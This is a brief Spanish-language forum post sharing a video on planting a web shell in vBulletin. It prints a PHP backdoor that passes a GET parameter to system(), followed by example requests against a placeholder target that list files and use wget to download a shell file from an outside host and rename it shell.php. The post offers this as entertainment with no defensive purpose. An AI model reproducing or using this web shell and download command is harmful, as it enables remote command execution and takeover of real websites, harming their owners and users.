Hola, les paso a dejar este video muy entretenido
que encontre, donde se muestra el upload shell en vbulletin de manera simple:
-----------------------------------------------------------
if(isset($_GET['lol'])){echo
"<h1>lol</h1><pre>"; system($_GET
['lol']);exit;}
-----------------------------------------------------------
target.com/ajax.php?lol=ls
target.com/ajax.php?lol=wget http://uploadedtextshell.com/shell404.txt;mv shell404.txt shell.php
-----------------------------------------------------------Creditos: Para el autor del video
Saludos !